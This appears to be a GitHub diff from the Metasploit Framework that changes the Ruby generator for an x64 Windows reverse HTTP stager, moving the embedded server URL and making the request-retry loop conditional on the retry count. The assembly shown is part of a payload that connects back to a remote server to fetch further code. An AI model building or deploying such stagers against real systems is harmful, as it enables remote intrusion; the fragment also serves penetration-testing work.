File tree Expand file tree Collapse file tree 1 file changed +20
-14
lines changed
lib/msf/core/payload/windows/x64 Expand file tree Collapse file tree 1 file changed +20
-14
lines changed Original file line number Diff line number Diff line change @@ -295,9 +295,8 @@ def asm_reverse_http(opts={})
295
295
end
296
296
297
297
asm << %Q^
298
-
299
- jmp get_server_uri
300
-
298
+ call httpopenrequest
299
+ db "#{ opts [ :url ] } ",0x0
301
300
httpopenrequest:
302
301
mov rcx, rax ; hConnect
303
302
push rbx
@@ -314,12 +313,17 @@ def asm_reverse_http(opts={})
314
313
315
314
prepare:
316
315
mov rsi, rax
317
- push #{ retry_count }
318
- pop rdi
319
-
320
- retryrequest:
321
316
^
322
317
318
+ if retry_count > 1
319
+ asm << %Q^
320
+ push #{ retry_count }
321
+ pop rdi
322
+
323
+ retryrequest:
324
+ ^
325
+ end
326
+
323
327
if opts [ :ssl ]
324
328
asm << %Q^
325
329
internetsetoption:
@@ -349,18 +353,20 @@ def asm_reverse_http(opts={})
349
353
call rbp
350
354
test eax, eax
351
355
jnz allocate_memory
356
+ ^
352
357
358
+ if retry_count > 1
359
+ asm << %Q^
353
360
try_it_again:
354
361
dec rdi
355
362
jz failure
356
363
jmp retryrequest
357
-
358
- get_server_uri:
359
- call httpopenrequest
360
-
361
- server_uri:
362
- db "#{ opts [ :url ] } ",0x0
363
- ^
364
+ ^
365
+ else
366
+ asm << %Q^
367
+ jmp failure
368
+ ^
369
+ end
364
370
365
371
if opts [ :exitfunk ]
366
372
asm << %Q^
You can’t perform that action at this time.
0 commit comments